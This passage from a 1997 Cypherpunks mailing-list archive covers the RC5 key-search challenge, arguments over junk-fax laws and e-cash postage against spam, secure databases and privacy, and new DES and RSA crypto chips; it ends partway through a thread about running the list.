Message-ID: <199702151911.LAA01300@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 14 Feb 1997 8:02:49 PST
From: "Peter G. Neumann" <neumann@csl.sri.com>
Subject: 48-bit RC5 bites the dust

In RISKS-18.81, we noted that Ian Goldberg of U.C. Berkeley had cracked the
40-bit RC5 in 3.5 hours -- the first step in the RSA Data Security challenge
posed on 28 Jan 1997.  The second step was taken on 10 Feb 1997 by Germano
Caronni, a graduate student at the Swiss Federal Institute of Technology.
Caronni (with a lot of help from his friends) has recovered the key for text
encrypted with 48-bit RC5, with the help of 3,500 computers and attaining an
peak rate of 1.5 trillion keys searched per hour, over a period of 312
hours.  A press release from RSA (given some circulation in the media) on
gives some details.  Close to the median expected effort, about 57% of the
key space was exhausted.  The Caronni team is now working on the next
challenge, RC5-56.  It is easy to clone yourself through virtual
replication.  [In this case, the team has a lot of Caronnis!]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 15 Feb 1997 11:11:38 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: More on digital postage
Message-ID: <199702151911.LAA01322@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM 2/15/97 -0600, snow wrote:
>Mr. Bell wrote:
>> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
>> >Tim may says:
>> >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>> >>violations of the First Amendment. I understand why the herd _wants_ these
>> >>laws, as it reduces the costs involved in replacing fax paper, running to
>> >>the telephone only to find someone trying to sell something, etc., but it
>> >>is quite clearly a prior restraint on speech, however well-intentioned.
>> >I have to disagree here.  The junk fax law is a restraint on unauthorised
>> >use of property, i.e. *my* fax machine, *my* phone, etc. 
>> However, you connect that fax machine to a phone line, when you know full 
>> well that should it be enabled to do so, it will automatically pick up the 
>> phone when it "hears" a ring, and will print out a fax based on information 
>> provided.  It isn't clear why sending a fax is any "wronger" than mailing 
>> junk mail, or making a (voice) phone call to somebody.
>
>	That is a ridiculous argument. The door to my home is connected
>to the street,m and I know full well that that makes it easy for anyone 
>to come wandering in to my home. Is it legal, just because I have my 
>home hooked to the street, for someone to come in and help themselves to 
>a beer out of my fridge?

No, you're taking the issue to ridiculous extremes.    That's why we have 
doors, and locks, etc.  And, for that matter, "No trespassing" signs.  


But having an address, and a walkway, and a doorbell is generally considered 
if not explicit permission, but at least toleration of the idea that 
somebody can walk up and knock on the door, etc.  Having a telephone with a 
number that anyone can dial is going to result in some level of intrusion.  
Having a fax machine is a similar issue, unless technology provides a way to 
block unwanted faxes.

I certainly don't claim that we shouldn't try to do anything about these 
limitations!  Quite the opposite, technology should be employed to protect 
privacy.  But faxes are not fundamentally different than telephones, 
doorbells, and walkways:  They facilitate interaction, even potentially 
undesirable interaction.


>	Nope. Sure I realize that they _can_, but that doesn't make it right,
>and it doesn't make it legal. 

"Legal" is an arbirary concept; the opposite, "illegal," is merely what some 
bunch of brainless legislators get together and disapprove.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roy M. Silvernail" <roy@sendai.scytale.com>
Date: Sat, 15 Feb 1997 11:26:37 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702151926.LAA02040@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, ichudov@algebra.com writes:

> My opinion on this: I personally feel that this scheme is the way to 
> go for spammers. Obviously, it is possible to build mail readers that 
> would verify some kind of trusted signature on the attached postage, and
> would highlight all such messages. The meaning of signature is "these
> people are not crooks, there really is an encrypted dollar there".

I much prefer the plan where a potential mail correspondant includes an
e-cash dollar directly cashable by me.  If I like the mail (and the
sender), I throw the dollar away and the sender goes on the approved
list.  If not, I keep the dollar, and the sender goes on the twit list.
Paper junk mail costs an advertiser more than $1 per piece, so they'd
still be getting a bargain.  And potentially, some receivers may throw
away the dollar and welcome the spam.

> Clearly, spammers who pay their readers to read their messages (and who
> do get them to read) will have a very high response rate. That may 
> justify adding postage to their letters.

It should also spur development of intelligent agents which can retrieve
this cash without human intervention.  Spammers will doubtless alter
their pages to require more interaction to find the key to the cash.
Then the IA's will be improved.  Then... remember the copy protection
wars?  This isn't necessarily a negative point.

> The advantages are obvious. The disadvantage is a possibility of someone
> stealing the money on the way, if the letters are not encrypted.

Or that the money wasn't there in the first place (absent a trusted
signature system), or the key doesn't exist, or the wrong key is
offered, or the sender put the same e-dollar on all 60000 mails sie
sent and it's already been redeemed.
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMwXqzxvikii9febJAQHv7QP9HQ+S3dZ+MCOTfUJYZwQ/l7xDU83RUIZI
IMve5eFvBbSHabXacwM//1dHmWVpMqVpfN7kchXm/N+vsEqpGMGgNkNj7dGZdoWn
NN6cHkDHJywgnlhT62BZ0u6n2lb4wJcKMaGn63bnmHCRSUN9HwUCKFrFXi72s08r
sxju8mXi8N0=
=4Skg
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Ghio <ghio@temp0019.myriad.ml.org>
Date: Sat, 15 Feb 1997 07:56:11 -0800 (PST)
To: alt.cypherpunks@myriad.alias.net
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702151556.HAA23655@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aaron@herringn.com wrote:
> [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
> him personally, just his (distressingly common) attitude]
> 
> >Just for the record.  I will not post to USENET given the spamming that
> >seems to go to IDs that appear there.
> 
> [chuckle]
> 
> Just add an anti-spam segment to your email address.
> 
> example:
> 
> jsmith[at]foo.com
> 
> Most people worth talking to have enough of a clue to replace [at] with @.


Actually, I have a completely valid email address in this post (for now).
If it gets spammed I will just delete the DNS record.  (or maybe point
it back at the spammer. :)

And I'm sure we all know how to use remailers...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 15 Feb 1997 07:57:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mirrors and replies-to
Message-ID: <199702151557.HAA23736@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Well, so far, I've got three cypherpunks mailboxes. One for sirius, one for
algebra, and one for toad. It was interesting to me that I got stuff from
the mirrors faster than toad until I remembered that the mirrors are wired
to the unmoderated list at toad, and I'm still subscribed to the moderated
list there.

However, I would like it if the mirror operators would reinstantiate a
feature of the original list for me. The reply-to field on the mirrors is
currently set to cypherpunks@toad.com. On the original list, this was set
to "sender", both to keep people from replying to the list unnecessarily
(hah! :-)) but also to keep mail loops from forming. Mail loops could be a
big problem, especially when you guys put together your neo-netnews
mailring. (a little jyaism, that... :-)).

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 11:32:12 -0800 (PST)
To: snow <jimbell@pacifier.com>
Subject: Re: More on digital postage
Message-ID: <199702151932.LAA02327@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:40 AM -0600 2/15/97, snow wrote:
>Mr. Bell wrote:

>> However, you connect that fax machine to a phone line, when you know full
>> well that should it be enabled to do so, it will automatically pick up the
>> phone when it "hears" a ring, and will print out a fax based on information
>> provided.  It isn't clear why sending a fax is any "wronger" than mailing
>> junk mail, or making a (voice) phone call to somebody.
>
>	That is a ridiculous argument. The door to my home is connected
>to the street,m and I know full well that that makes it easy for anyone
>to come wandering in to my home. Is it legal, just because I have my
>home hooked to the street, for someone to come in and help themselves to
>a beer out of my fridge?

The proper parallel is to _knocking on the door_. Talking about "unwanted
phone calls" or "unwanted faxes" as being equivalent to entering a house
and wandering around is incorrect.

Consider a door with a doorbell or knocker. It is set up (by millenia of
tradition in our society) as a means of contacting the residents and
keeping them from entering.

Similarly, a listed phone number, or a phone number gotten through various
means, is a means of contacting those owning the number. Anyone is free to
call anyone--no permission is needed.

Our society fairly reasonably allows tort relief for, say, having one's
doorbell rung frequently or at odd hours. On the fax issue, similar tort
relief could be obtained if a person or business was truly "under attack."

(Purists, like me, would probably prefer technological solutions even in
these cases. Leave a phone on answering machine mode, only switch on the
fax mode when a fax is expected, etc.)

These tort actions are a far cry from proposals that anyone whose knock on
the door, or phonecall, or e-mail, or fax is subject to criminal
prosecution under proposed new laws.

(I think the courts are already clogged enough, and I have faith that no
court in the land will accept a case where no real harm was done. A friend
of mine got mailbombed with 25,000 e-mail messages in one day, shutting
down his account until the mess could be cleaned up, and it's not even
likely he'll ever get any relief.)

What CompuServe did was quite different, as CompuServe decided that some
e-mail would not be delivered. This is essentially comparable to the Postal
Service deciding that mail from the National Rifle Association is, to them,
"junk," or to the phone company deciding that phone calls from Libya or
Iraq or some other unfavored nation will be fed to a dead number.

Getting the courts and the regulators involved in deciding what speech is
junk and what is not junk is unconstitutional, which was my earlier point.

--Tim May


On the f

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 11:28:21 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151928.LAA02077@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:
> > > Dave Hayes wrote:
> > > > Ok. I'll "put up".
> > If I understood the last several hundred messages correctly, they have
> > tried to make the point that the cypherpunks mailing list (unedited)
> > was more ideal than a newsgroup.  If this is what Dave is offering,
> > I'm surprised if more people don't jump on it.  Then again, they
> > took their good ol' time jumping onto cypherpunks-unedited.
> 
> I think that the ideas of a distributed list and the idea of
> alt.cypherpunks are both good and these two mediums complement
> each other.

I can certainly accept this, but it would be nice if someone summarizes
these feeds every now and then, as time to check them all out is very
limited.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 14:41:41 -0800 (PST)
To: Peter Swire <swire.1@osu.edu>
Subject: Re: Query on "secure databases"
Message-ID: <199702162241.OAA04967@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi, Peter - here's my previous posting, with an addendum, Cc: cypherpunks
At 04:43 PM 2/11/97 -0500, Peter Swire <swire.1@osu.edu> wrote:
>        Can you point me to anything I can read on "secure databases"?  I
>hadn't hit that term before.  I am curious to what extent they are secure
>due to cryptographic approaches, or to what extent you rely on other
>mechanisms for keeping out unauthorized users.

It's been a long time since I've looked much into it, since I
was getting out of phone-company-defense-contractor mode at the time the
field was developing.  I think the NCSC Rainbow Book that deals
with secure databases is the Purple Book, though it might be the Gray.
Oracle and/or Sybase have done some work trying to do databases
at the B1 or B2 level, but I don't know details.  

I'll talk about secure databases a bit, but for the real world
there's more useful stuff that isn't related to them.

=================== Begin "Secure Database" Section ==============
At the time, the Orange Book (security for standalone computers) was 
well-understood, though there weren't really any systems above B2 level,
and the Red Book was written, but nobody really had a clue how to
implement multi-level machines on a multi-level LAN, though
you could use encrypting Ethernet cards to get single-level machines
of different levels on the same LAN, if they were all administered
by the same group of people (so user-IDs and security levels
worked across the entire system.)  

At the lower security levels, Orange Book techniques mainly involve 
removing bugs and adding accounting features.  At the higher levels, 
the key is to come up with a good mathematical/logical model of
interactions in your computer system, and then design a computer system
that only does the things permitted by the model and prove it does that.
Some of these systems use cryptographic techniques, including some of
the capability-based systems - see Bill Frantz's KeyKOS work, which he's
referred to on Cypherpunks occasionally. 

The objective is to have databases that can be accessed by multiple users
with different sets of security permissions.  In the military vernacular,
this mainly means having UNCLASSIFIED, CONFIDENTIAL, SECRET, and maybe
TOP SECRET data in the database, where not all users are cleared
to the highest security level, and maybe projects X, Y, and Z,
where users of project X may not have a need to know for project Y, etc.

The easy problems are probably solved by now - either you do a good job
of verifying the design and bug-free-ness of your database software
so you can be sure that each request includes, and obeys, security levels,
or you use crypto to encrypt the data items for each security level
(e.g. everybody with a SECRET or PROJECT Z clearance shares a key 
for that data, which isn't really ideal for non-small groups of people,
the database just tries to do a good job, and you only do operations in
the database that make sense when the data is encrypted, though that's
annoyingly restrictive for many applications.)

The sticky problems are aggregation-related.  It may be ok if an uncleared
person knows that military base A has missile types 1, 3, and 5,
and if the uncleared person knows where all your military bases are.
But is it ok if the uncleared person knows about _all_ the missiles
at _all_ the bases, and can tell that nobody's using Type 2 missiles
any more, and that all the Type 4 missiles got moved to New Jersey last week?

=============== End "Secure Database" section =================
=============== Begin "Real-World and Crypto" section =========
For the average person, though, the simple military models aren't 
really useful.  You really care more about groups of people,
though the multi-level stuff is sometimes a good way to keep 
machines from being hacked.  

But the real problem is that computers are very good at correlating
information - 
if two different companies know your Social Security Number,
and they share their data with each other (maybe for a price),
then they can all tie together everything they each know about you.
And there's no way to stop it, except by limiting the information
you give people (which limits the transactions they'll do with you),
or contractually limiting what they can do with it (good luck),
or using multiple identities - and even then, computers are
often good at guessing that the John Doe at 1234 Main Street
is the related to Jane Smith at 1234 Main Street, and maybe 
the foreign car parts Jane bought on her American Express are
for the Porsche registered to John, so there's a junk-mail opportunity.

There's really only one technology that lets you avoid this,
which is crypto and its relatives - though you still have to 
get people you use business with to use it, which is an uphill game.
Some of the fundamental work on this is David Chaum's papers
on Credentials without Identity (or something about like that, from ~1985.)
For instance, you can have a voter registration number that's
cryptographically signed by the voting bureau, but uses blinded
signatures so they can't correlate the known good unique number
with the Peter Swire who walked in and showed a picture ID one day.
A driver's license smartcard could keep a pointer to your driving records,
but wouldn't give your True Name, and would only show a cop
that the person whose picture is on the front is a Licensed Driver,
and maybe could demonstrate that the bearer knows the card's PIN.

One big issue is that the government is pushing banks to demand SSNs,
and requiring employers to demand SSNs (makes them easy Employee IDs),
and pushing medical insurers and providers to use SSNs (makes it
easy to collect Medicare data.)  You can gain a lot of privacy
just by having employers use their own employee-ID numbering system,
so the travel agent subcontracting to Corporate Travel
doesn't need your SSN on every form they fill out.
But suppose the Social Security Administration and IRS issued you a bunch
of separate numbers, that were either related using a cryptographic key,
or just randomly picked and kept in a big database (maybe pointing to
your old SSN), so you could give everybody who needs a Tax ID a different
number, and only you and the IRS could correlate them.
(To some extent, you can do this yourself by creating lots of
companies, but it's a real pain and costs a certain amount of money.)

=============== addendum =====================
Of course, for many transactions, the way to reduce the privacy problems
is to use bearer certificates rather than book-entry approaches -
pay cash, or digicash, rather than credit cards, use on-line
anonymous delivery of bits, or picking up stuff in person,
rather than mailing stuff to a snail address, etc.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Date: Fri, 14 Feb 1997 15:58:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES and RSA crypto hardware from the free world
Message-ID: <199702142358.PAA18151@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've just got the details on two new crypto chips produced by the Dutch company
Pijnenburg Custom Chips B.V.  These are the PCC 201 bignum coprocessor and the
PCC 101 DES-with-everything processor (the official names are slightly
different :-).  The PCC 101 sells for approximately US$27, the PCC 201 sells
for approximately US$50 (for people who aren't familiar with the market for
these things, these are very good prices, especially for the 201).
 
The PCC 201 is officially a "Large number modular arithmetic coprocessor" which
is designed to perform the operations:
 
  A^x mod N
  AB mod N
  C mod n
 
very quickly for quantities of up to 1024 bits.  Typical procesing times for
1K-bit operands is 40ms, for 512 bits it's 12ms when clocked at 25 MHz.
Unfortunately you can't directly chain them for larger operands, although it's
possible to use two 201's and some software tricks for CRT decrypts to stretch
the operand size to > 1024 bits.
 
The way the 201 works is that you load the fixed components (exponent and
modulus for A^x mod N, modulus only for AB mod N and C mod N) into one of three
sets of on-chip registers, and then use them to perform arbitrary numbers of
operations on data.  This means that for something like a micropayment
application you would load the necessary private key components once and then
generate signatures at the (theoretical) rate of 25 a second.  To date the cost
of this kind of hardware has been such that the most viable solution was to run
racks full of cheap P5 boards booting a bare-bones RSA-processing application
through a network card, but with the PCC 201 you could populate a board with
201's and a few microcontrollers a la a Wiener machine and use these as a
payment transaction processing engine.  They'd also make fairly cool SSL
co-processors for web servers.
 
The PCC 101, officially a "DES encryption device", does DES, 3DES (EDE with 2
or 3 keys), and DESX in ECB, CBC, CFB, OFB, and MAC modes at a maximum rate of
132 Mbits/s (16.5 Mbytes/sec) for single DES, or 1/3 that for 3DES, when
clocked at 33 MHz.  It's possible to load either single or triple-DES encrypted
keys which are then decrypted using onboard key encryption keys (KEKs).  The
chip contains onboard storage for 24 keys, 3 KEKs, 4 IV's, and 2 DESX keys
(pre/post-whitener).  Processing is done in a 3-stage pipeline, so once you
feed in 3 64-bit blocks it churns out a new result every 16 clocks (this also
allows overlapped I/O operation).  You can add an external battery to save the
internal state when power is removed, so you could keep your keys permanently
stored onboard (although given that these keys can be recovered given enough
money and effort I'm not sure if this is a good thing).
 
The PCC 101 is available in 44-pin PLCC/TQFP packages, the PCC 201 is available
in 68-pin PLCC and 80-pin TQFP packages.   The PCC 201 contains a multiplexed
address/data bus and a few control signals (most of the pins are unused), the
PCC 101 contains data and address ports and a few control signals.  They look
fairly easy to interface.  There's an ISA evaluation board available which
contains the PCC 201 and the slightly older PCC 100 (predecessor of the 101)
and some test software.  Note that this is an evaluation board only, Pijnenburg
make the chips but don't sell general encryption cards.
 
A fast PCI card containing these chips and drivers for various common operating
systems and MSDOS is currently being designed by an international cabal.  This
will be a PCI 2.1-compliant card containing a PCC101, an optional PCC201, and
possibly a few other things (we're still arguing about the design).  I'll be
writing DOS and Win16 drivers for it, and someone else will do an NT and
possibly Linux driver (again, it's still at the design stage).  cryptlib
(http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) will probably end up
having native support for it when it's ready.
 
Pijnenburg don't have a web page yet but are working on it, I'll post the
details here when it becomes available.  Until then you can contact them at
asic@pijnenburg.nl.  The only slight problem is that they're subject to the
Dutch governments export rules (the usual Wassenaar stuff) which means that if
you're not using it for an authentication/integrity-only application or a
financial application, you'll probably need to go through some paperwork to
show that it's for your use only and you won't be passing it on to your friend
Jose from Columbia.  Pijnenburg have a standard Statement of Application which
people can use as to write their own statement for export approval.
 
These chips look *very* promising.  Who needs Clipper, or HP's
Clipper-under-another-name, when you can get triple DES from the free world at
prices like this?
 
Peter.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Date: Sat, 15 Feb 1997 09:42:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: DES and RSA crypto hardware from the free world
Message-ID: <199702151742.JAA27772@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I've just got the details on two new crypto chips produced by the Dutch company
Pijnenburg Custom Chips B.V.  These are the PCC 201 bignum coprocessor and the
PCC 101 DES-with-everything processor (the official names are slightly
different :-).  The PCC 101 sells for approximately US$27, the PCC 201 sells
for approximately US$50 (for people who aren't familiar with the market for
these things, these are very good prices, especially for the 201).
 
The PCC 201 is officially a "Large number modular arithmetic coprocessor" which
is designed to perform the operations:
 
  A^x mod N
  AB mod N
  C mod n
 
very quickly for quantities of up to 1024 bits.  Typical procesing times for
1K-bit operands is 40ms, for 512 bits it's 12ms when clocked at 25 MHz.
Unfortunately you can't directly chain them for larger operands, although it's
possible to use two 201's and some software tricks for CRT decrypts to stretch
the operand size to > 1024 bits.
 
The way the 201 works is that you load the fixed components (exponent and
modulus for A^x mod N, modulus only for AB mod N and C mod N) into one of three
sets of on-chip registers, and then use them to perform arbitrary numbers of
operations on data.  This means that for something like a micropayment
application you would load the necessary private key components once and then
generate signatures at the (theoretical) rate of 25 a second.  To date the cost
of this kind of hardware has been such that the most viable solution was to run
racks full of cheap P5 boards booting a bare-bones RSA-processing application
through a network card, but with the PCC 201 you could populate a board with
201's and a few microcontrollers a la a Wiener machine and use these as a
payment transaction processing engine.  They'd also make fairly cool SSL
co-processors for web servers.
 
The PCC 101, officially a "DES encryption device", does DES, 3DES (EDE with 2
or 3 keys), and DESX in ECB, CBC, CFB, OFB, and MAC modes at a maximum rate of
132 Mbits/s (16.5 Mbytes/sec) for single DES, or 1/3 that for 3DES, when
clocked at 33 MHz.  It's possible to load either single or triple-DES encrypted
keys which are then decrypted using onboard key encryption keys (KEKs).  The
chip contains onboard storage for 24 keys, 3 KEKs, 4 IV's, and 2 DESX keys
(pre/post-whitener).  Processing is done in a 3-stage pipeline, so once you
feed in 3 64-bit blocks it churns out a new result every 16 clocks (this also
allows overlapped I/O operation).  You can add an external battery to save the
internal state when power is removed, so you could keep your keys permanently
stored onboard (although given that these keys can be recovered given enough
money and effort I'm not sure if this is a good thing).
 
The PCC 101 is available in 44-pin PLCC/TQFP packages, the PCC 201 is available
in 68-pin PLCC and 80-pin TQFP packages.   The PCC 201 contains a multiplexed
address/data bus and a few control signals (most of the pins are unused), the
PCC 101 contains data and address ports and a few control signals.  They look
fairly easy to interface.  There's an ISA evaluation board available which
contains the PCC 201 and the slightly older PCC 100 (predecessor of the 101)
and some test software.  Note that this is an evaluation board only, Pijnenburg
make the chips but don't sell general encryption cards.
 
A fast PCI card containing these chips and drivers for various common operating
systems and MSDOS is currently being designed by an international cabal.  This
will be a PCI 2.1-compliant card containing a PCC101, an optional PCC201, and
possibly a few other things (we're still arguing about the design).  I'll be
writing DOS and Win16 drivers for it, and someone else will do an NT and
possibly Linux driver (again, it's still at the design stage).  cryptlib
(http://www.cs.auckland.ac.nz/~pgut001/cryptlib.html) will probably end up
having native support for it when it's ready.
 
Pijnenburg don't have a web page yet but are working on it, I'll post the
details here when it becomes available.  Until then you can contact them at
asic@pijnenburg.nl.  The only slight problem is that they're subject to the
Dutch governments export rules (the usual Wassenaar stuff) which means that if
you're not using it for an authentication/integrity-only application or a
financial application, you'll probably need to go through some paperwork to
show that it's for your use only and you won't be passing it on to your friend
Jose from Columbia.  Pijnenburg have a standard Statement of Application which
people can use as to write their own statement for export approval.
 
These chips look *very* promising.  Who needs Clipper, or HP's
Clipper-under-another-name, when you can get triple DES from the free world at
prices like this?
 
Peter.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sat, 15 Feb 1997 11:28:39 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702151928.LAA02101@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote:

>I much prefer the plan where a potential mail correspondant includes an
>e-cash dollar directly cashable by me.  If I like the mail (and the
>sender), I throw the dollar away and the sender goes on the approved
>list.  If not, I keep the dollar, and the sender goes on the twit list.
>Paper junk mail costs an advertiser more than $1 per piece, so they'd
>still be getting a bargain.  And potentially, some receivers may throw
>away the dollar and welcome the spam.

The basic flaw in all of these schemes is that they are "top-down"
solutions, imposed on the market for invented reasons.

The reason paper mail "spam" (advertisements, solicitations, whatever)
costs whatever it costs (hint: less than a dollar...check the Bulk Rate
prices, and look for the 8-cent and 16-cent stamps on many of the
solicitations) is because this is what the Postal Service charges.

Granted, the USPS is hardly a free market player, and uses force to keep
out competitors, but the general principle is that some semi-market-based
fee is charged, and larger packages will cost more, etc.

The basic flaw with e-mail is that the senders of e-mail are not paying for
carriage.

However, just "making up" a fee--as Roy does here, and as Jim Bell and
others have done before--is not a solution either. Nor does it stand any
chance of being "enforced" (for a large number of reasons I won't get into
here).

I don't expect any solutions anytime soon, but I certainly will not push
for "synthetic" prices which do not solve the underlying problem.

--Tim May




Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sat, 15 Feb 1997 11:11:26 -0800 (PST)
Subject: No Subject
Message-ID: <199702151911.LAA01304@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sat, 15 Feb 1997 11:12:47 -0800 (PST)
Subject: No Subject
Message-ID: <199702151912.LAA01382@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Sat, 15 Feb 1997 11:12:59 -0800 (PST)
Subject: No Subject
Message-ID: <199702151912.LAA01385@toad.com>
MIME-Version: 1.0
Content-Type: text/plain






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Scott Auge <scotta@sauge.com>
Date: Sat, 15 Feb 1997 09:26:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cryptanalysis
Message-ID: <199702151726.JAA27016@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Was wondering if anyone could help me with short explainations on the
cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
might get a better idea of what i'm trying to accomplish.

Vague explanations are OK.  Dont want long drawn out explainations on
the implementation of an attack (source code, proofs, statistical
analysis and the like), just a short explaination of the attack.

Thanks all, 

Scott
-- 
How has the government interfered in your life today?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 09:28:08 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: More on digital postage
Message-ID: <199702151728.JAA27122@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Bell wrote:
> At 03:31 AM 2/14/97 -0800, John C. Randolph wrote:
> >Tim may says:
> >>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
> >>violations of the First Amendment. I understand why the herd _wants_ these
> >>laws, as it reduces the costs involved in replacing fax paper, running to
> >>the telephone only to find someone trying to sell something, etc., but it
> >>is quite clearly a prior restraint on speech, however well-intentioned.
> >I have to disagree here.  The junk fax law is a restraint on unauthorised
> >use of property, i.e. *my* fax machine, *my* phone, etc. 
> However, you connect that fax machine to a phone line, when you know full 
> well that should it be enabled to do so, it will automatically pick up the 
> phone when it "hears" a ring, and will print out a fax based on information 
> provided.  It isn't clear why sending a fax is any "wronger" than mailing 
> junk mail, or making a (voice) phone call to somebody.

	That is a ridiculous argument. The door to my home is connected
to the street,m and I know full well that that makes it easy for anyone 
to come wandering in to my home. Is it legal, just because I have my 
home hooked to the street, for someone to come in and help themselves to 
a beer out of my fridge?

	Nope. Sure I realize that they _can_, but that doesn't make it right,
and it doesn't make it legal. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sat, 15 Feb 1997 09:41:10 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702151741.JAA27738@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Well, they will stop sending you money if they find out that you do not buy
> their products.
> 
> 	- Igor.

	As long as they stop sending the Ads. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 11:11:16 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151911.LAA01292@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Igor Chudov @ home wrote:
> > Dave Hayes wrote:
> > > Ok. I'll "put up".
> > > If the cypherpunks will have me, -I'll- run the cypherpunks
> > > list. Those that know me know that I will *not* censor, moderate, or
> > > otherwise alter the content (other than the stuff majordomo does with
> > > "resend") of any messages to the list.
> 
> > I think that it is a great idea. If you want to contribute to the
> > effort to keep the list, this is great. You could join the network of
> > other cypherpunks mailing lists.
> > There is a small list for discussing these networking issues,
> > cypherpunks-hosts@algebra.com. It is not for crypto-discussions per
> > se, but rather for discussing how we proceed with these lists.
> 
> If I understood the last several hundred messages correctly, they have
> tried to make the point that the cypherpunks mailing list (unedited)
> was more ideal than a newsgroup.  If this is what Dave is offering,
